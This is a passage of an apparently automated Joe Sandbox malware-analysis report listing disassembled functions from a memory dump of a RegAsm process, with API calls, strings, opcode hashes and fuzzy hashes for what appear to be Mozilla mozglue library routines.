Instruction ID: 1613443028812e8aed2824272e022a785359cd08a6eed25e799e7e9fe17d819a
Opcode Fuzzy Hash: b50f01632a95564f50b15b1833aedc707f57c8aa2578a1b1b8be2aeed9b0c5ab
Instruction Fuzzy Hash: 2F21D6B2B002155BD7089E78DC948AFB7FAFB853247250738E425D7780EB70AD0287D6

Function 6C6DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6DB4F5
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C6DB502
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C6DB542
free.MOZGLUE(?), ref: 6C6DB578

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b857804f592755bc155852f9b508ffbebedc920e1d17f24650cb3c4ae46d4def
Instruction ID: a95bac96e151be3274201b163910ff92d3a4bf9a5dfb3df8f3dd4d3f0b049cb8
Opcode Fuzzy Hash: b857804f592755bc155852f9b508ffbebedc920e1d17f24650cb3c4ae46d4def
Instruction Fuzzy Hash: 79112130A14B00C7D3128F29C4007A5B3B0FFDA328F11932BE85953B01EBB0B5C18788

Function 6C703DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C6CF20E,?), ref: 6C703DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C6CF20E,00000000,?), ref: 6C703DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C703E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C703E0E

Part of subcall function 6C6FCC00: GetCurrentProcess.KERNEL32(?,?,6C6C31A7), ref: 6C6FCC0D
Part of subcall function 6C6FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6C31A7), ref: 6C6FCC16

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 16a7d78c2fad6bbafbac29987910dbdbe4f9c458cdecd3b0f36bddc291481742
Instruction ID: 2c949a29ab500e64de22949404c45d985e6d7d4089d8cd6be2e77894a2e16154
Opcode Fuzzy Hash: 16a7d78c2fad6bbafbac29987910dbdbe4f9c458cdecd3b0f36bddc291481742
Instruction Fuzzy Hash: DAF08CB1A002087BEB00AB54EC85DAB376DEB46629F044031FE0C57701D735BE2986FB

Function 6C712050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C71205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C71201B,?,?,?,?,?,?,?,6C711F8F,?,?), ref: 6C712064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71208E
free.MOZGLUE(?,?,?,00000000,?,6C71201B,?,?,?,?,?,?,?,6C711F8F,?,?), ref: 6C7120A3

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e490187a111792a881057dbf382efb730dc04bc49e188a0eed01b71254c66cad
Instruction ID: b467efa56b054c2a3e6237b8be93c161183ff0f7b19c624c41cb7986e3078006
Opcode Fuzzy Hash: e490187a111792a881057dbf382efb730dc04bc49e188a0eed01b71254c66cad
Instruction Fuzzy Hash: 01F0B471104A109FC7119F16D888B5BB7F8EF8B368F14012AE50687B10DB71B806CB95

Function 6C7120B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7120B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C6FFBD1), ref: 6C7120C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C6FFBD1), ref: 6C7120DA
free.MOZGLUE(00000000,?,6C6FFBD1), ref: 6C7120F1

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: cb26be335fe928832b9619893bb848bf00c6fac36a9a131397315fa1166be13f
Instruction ID: 3c591dc8ee583bdbcf4b7a011f90db115b5d7b6d94853d26f6fc21b3639e8202
Opcode Fuzzy Hash: cb26be335fe928832b9619893bb848bf00c6fac36a9a131397315fa1166be13f
Instruction Fuzzy Hash: AEE06531605A249BC720AF25980894EB7FDEF87318B14463BE54693F00E776B9468AD9

Function 6C7185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C7185D3

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C718725

Strings

map/set<T> too long, xrefs: 6C718720

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a1e76f64790d06eb4e73e8f90e00f25cb67dab65272240c1ef65ff2c57f66409
Instruction ID: 6098090ef59be923c4a729ae86976de820256c284c1453cd8cba70ea4699824c
Opcode Fuzzy Hash: a1e76f64790d06eb4e73e8f90e00f25cb67dab65272240c1ef65ff2c57f66409
Instruction Fuzzy Hash: 3F517874A08651CFD701CF28C288B55BBF1BF4A318F1AC29AD8595BB52C335E845CF92

Function 6C6CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C6CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CBE8F

Strings

0, xrefs: 6C6CBE5B

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 32b1761a71f7a69684ec118a11e01defcfddba6b104869c31f16554a6003c5bf
Instruction ID: 023302ac7d104dc502bb366abe5ffd27f0d1ad2bb040a004020bae07ff1e30f2
Opcode Fuzzy Hash: 32b1761a71f7a69684ec118a11e01defcfddba6b104869c31f16554a6003c5bf
Instruction Fuzzy Hash: 58418E71A09745CFC701DF38D481A9BB7E4EFCA388F008A1DF995A7611D731A9498B8B

Function 6C703CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C703D19
mozalloc_abort.MOZGLUE(?), ref: 6C703D6C

Strings

d, xrefs: 6C703D58

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 039179f4f23ce5e29406bb516539b2163b36865e3b001dc70ad58f5e0d764a52
Instruction ID: d5c45ff04c31f8df7d8e37cb4f545e456f19420938fa78b6b238a4ab3c47ece0
Opcode Fuzzy Hash: 039179f4f23ce5e29406bb516539b2163b36865e3b001dc70ad58f5e0d764a52
Instruction Fuzzy Hash: 34112371F04688DBDB00DF69C9198EDB7B5EF96318B44C329DC489B602FB30A584C394

Function 6C6D4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6D44B2,6C74E21C,6C74F7F8), ref: 6C6D473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C6D474A

Strings

GetNtLoaderAPI, xrefs: 6C6D4744

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: b3e92b6a24f5eb83676e1174cf59d748e7df7ff20c7b978bd8aec8a1ed580304
Instruction ID: fbb1ece7913ee3666bd83e0238333dfc9fa7fdd1f495da29cb226faa36812ba1
Opcode Fuzzy Hash: b3e92b6a24f5eb83676e1174cf59d748e7df7ff20c7b978bd8aec8a1ed580304
Instruction Fuzzy Hash: 79014C757016149FDF00AF6A8894A2A7BB9FB8A329B45807AE905CB700DB75EC018F95

Function 6C726DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C726E22
__Init_thread_footer.LIBCMT ref: 6C726E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C726E1D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 8326dd61cc7ef2fb20feaa235c37593d2b83fa5ffae4189d9576f8f3d7b176c6
Instruction ID: ea91113ca8da95769c98481915bf8f1fbc9317888e474ad67c612bd20524f61e
Opcode Fuzzy Hash: 8326dd61cc7ef2fb20feaa235c37593d2b83fa5ffae4189d9576f8f3d7b176c6
Instruction Fuzzy Hash: 20F05235A04280CBEB00BBA8CA50A927376F31331DF0481B7C81086BA2D734A717CAA7

Function 6C6D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6D9EEF

Strings

Infinity, xrefs: 6C6D9EB7
NaN, xrefs: 6C6D9EC1

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 8d7ad0154ce62aaa87b1bae3f47d90c25a741a06705031bab68096743d650bc1
Instruction ID: c26485aa8ce2b68e55c5206928d305715658aa97fb2dfb3d927ebb85a112efe0
Opcode Fuzzy Hash: 8d7ad0154ce62aaa87b1bae3f47d90c25a741a06705031bab68096743d650bc1
Instruction Fuzzy Hash: 99F0AF71600642CBDB00AF68DA777813372A70331DF208A76C5040AB41D7356546CE8A

Function 6C6D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kpl,?,6C704B30,80000000,?,6C704AB7,?,6C6C43CF,?,6C6C42D2), ref: 6C6D6C42

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

moz_xmalloc.MOZGLUE(0Kpl,?,6C704B30,80000000,?,6C704AB7,?,6C6C43CF,?,6C6C42D2), ref: 6C6D6C58

Strings

0Kpl, xrefs: 6C6D6C33, 6C6D6C41, 6C6D6C57

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kpl
API String ID: 1967447596-3332051225
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: b77a80a845eb8788f8e772da7ef8ce33dbe5f1ada59d61315824bbd49949a282
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 51E086F1A105055A9B0899BCAC0956A72C88B193A87094E75E823C6BD8FA94F554819D

Function 6C725900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6C7451C8), ref: 6C72591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6C72592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6C725915

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 464fe6d7b51223459f80b7f2ec63da3b70b580964ff3f90f61e2e3e9218365e0
Instruction ID: 05d82afa0fdc75155cabe92ccb834040594f074c64803349de3c218857c75bd5
Opcode Fuzzy Hash: 464fe6d7b51223459f80b7f2ec63da3b70b580964ff3f90f61e2e3e9218365e0
Instruction Fuzzy Hash: D1E0D830204650FBDB009B68D7087457FF89B1337DF10C525E5A883AC1C3B56C408791

Function 6C6D3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C74F860), ref: 6C6D385C
ReleaseSRWLockExclusive.KERNEL32(6C74F860,?), ref: 6C6D3871

Strings

,tl, xrefs: 6C6D387A

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,tl
API String ID: 17069307-3974665966
Opcode ID: 7c0bd5c237c5e160fdbf4eedc430074d87a41f3cc22262d8df8a6bb5bee26e62
Instruction ID: 50be6e5eac31490128f3a8acb8fc2901c4e4e9a2c2412e5dfb49193d94b4346c
Opcode Fuzzy Hash: 7c0bd5c237c5e160fdbf4eedc430074d87a41f3cc22262d8df8a6bb5bee26e62
Instruction Fuzzy Hash: 50E04F31A05E2C97C712AFA7950698ABB7CEE477A8305C166E40A1BE00C730B58086D9

Function 6C6DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C6DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C6DBEF5

Strings

cryptbase.dll, xrefs: 6C6DBEF0

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 39ed643c943d059396ebe6d7019fdebca4e08462e8ce7eb1a7cf88a0388b82b0
Instruction ID: 504b4d7b642d3c2c6cfb804931d864ee480a2451f14235349901417c75e014a1
Opcode Fuzzy Hash: 39ed643c943d059396ebe6d7019fdebca4e08462e8ce7eb1a7cf88a0388b82b0
Instruction Fuzzy Hash: 4CD0A932284608EACA00BAA08D0AF2D3BBCA782369F10C036F30584851C7B0B812DB88

Function 6C6C50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C6C4E9C,?,?,?,?,?), ref: 6C6C510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C6C4E9C,?,?,?,?,?), ref: 6C6C5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C6C5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C6C4E9C), ref: 6C6C5234

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 9cc89da931fea5a07a47ccc95824ee2e17503a3ef6fffd7be78c97e84dac5b61
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: C691AD35605616CFCB14CF08C894A96BBA1FF9A318B288688DC589FB15D331FC42CBE1

Function 6C7008F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74E7DC), ref: 6C700918
LeaveCriticalSection.KERNEL32(6C74E7DC), ref: 6C7009A6
EnterCriticalSection.KERNEL32(6C74E7DC,?,00000000), ref: 6C7009F3
LeaveCriticalSection.KERNEL32(6C74E7DC), ref: 6C700ACB

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e32d3f264276b14c6a8e714e6c4ce615e44a085b04a7d7aaa2594296f9af6e7f
Instruction ID: f35c404c2af9cac024c16087ce92249ccdf948f182f1278cd8f5c7b5dc2155c2
Opcode Fuzzy Hash: e32d3f264276b14c6a8e714e6c4ce615e44a085b04a7d7aaa2594296f9af6e7f
Instruction Fuzzy Hash: 4D5136B6711A548BEB04EE25C500A2677E6FB82B38B25C13AD86597F80DB30E80187C0

Function 6C7259C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6C6FE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6C725A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6C6FE56A,?,|UrlbarCSSSpan), ref: 6C725A5C
free.MOZGLUE(?), ref: 6C725A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6C725B9D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 3050c8fdff8295b8ba914b0168117a8f99c766d38fb1c8187a600aa3115a8b75
Instruction ID: cb02cc685487cdf6a846e27e15639882ff0af5540a5029b364ba25c8d79612ff
Opcode Fuzzy Hash: 3050c8fdff8295b8ba914b0168117a8f99c766d38fb1c8187a600aa3115a8b75
Instruction Fuzzy Hash: 4A516C705087409FD740CF28D9C161ABBF5FF8A318F04C96EE8899B646D778D944CB62

Function 6C71B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C71B2C9,?,?,?,6C71B127,?,?,?,?,?,?,?,?,?,6C71AE52), ref: 6C71B628

Part of subcall function 6C7190E0: free.MOZGLUE(?,00000000,?,?,6C71DEDB), ref: 6C7190FF
Part of subcall function 6C7190E0: free.MOZGLUE(?,00000000,?,?,6C71DEDB), ref: 6C719108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C71B2C9,?,?,?,6C71B127,?,?,?,?,?,?,?,?,?,6C71AE52), ref: 6C71B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C71B2C9,?,?,?,6C71B127,?,?,?,?,?,?,?,?,?,6C71AE52), ref: 6C71B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C71B127,?,?,?,?,?,?,?,?), ref: 6C71B74D

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
